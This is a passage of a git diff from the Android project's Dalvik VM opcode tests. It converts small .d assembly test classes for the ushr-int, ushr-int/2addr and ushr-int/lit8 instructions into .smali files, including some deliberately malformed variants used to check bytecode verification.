+# limitations under the License.
+
+.source "T_ushr_int_1.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.d
deleted file mode 100644
index 75880f7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       move v1, v2
-       const-wide v2, 12345.0
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali
new file mode 100644
index 0000000..1985184
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2
+       const-wide v2, 12345.0
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.d
deleted file mode 100644
index 802f349..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_3.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)I
-.limit regs 4
-
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali
new file mode 100644
index 0000000..b444489
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_3.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 4
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.d
deleted file mode 100644
index 289c777..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_4.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int v1, v1, v0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali
new file mode 100644
index 0000000..6289982
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_4.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.d
deleted file mode 100644
index 2fdf2b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_5.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali
new file mode 100644
index 0000000..1e1ad72
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_5.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.d
deleted file mode 100644
index b216968..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_6.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_6
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int v1, v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali
new file mode 100644
index 0000000..942d05d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_6.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.d
deleted file mode 100644
index 5ee3392..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_1.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali
new file mode 100644
index 0000000..5414e81
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.d
deleted file mode 100644
index d7be0ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_2.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       move v1, v2
-       const-wide v2, 12345.0
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali
new file mode 100644
index 0000000..d7d7a55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2
+       const-wide v2, 12345.0
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.d
deleted file mode 100644
index a7e8263..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_3.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)I
-.limit regs 4
-
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali
new file mode 100644
index 0000000..70aeeaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 4
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.d
deleted file mode 100644
index 330ce0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_4.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int/2addr  v1, v0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali
new file mode 100644
index 0000000..f368bfe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr  v1, v0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.d
deleted file mode 100644
index d5906eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_5.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali
new file mode 100644
index 0000000..c25fa82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.d
deleted file mode 100644
index 0e3753c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_6.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int/2addr v1, v3
-       return v1
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali
new file mode 100644
index 0000000..c3448c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr v1, v3
+       return v1
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.d
deleted file mode 100644
index 3d6d12d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_1.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 15
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali
new file mode 100644
index 0000000..16b13f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
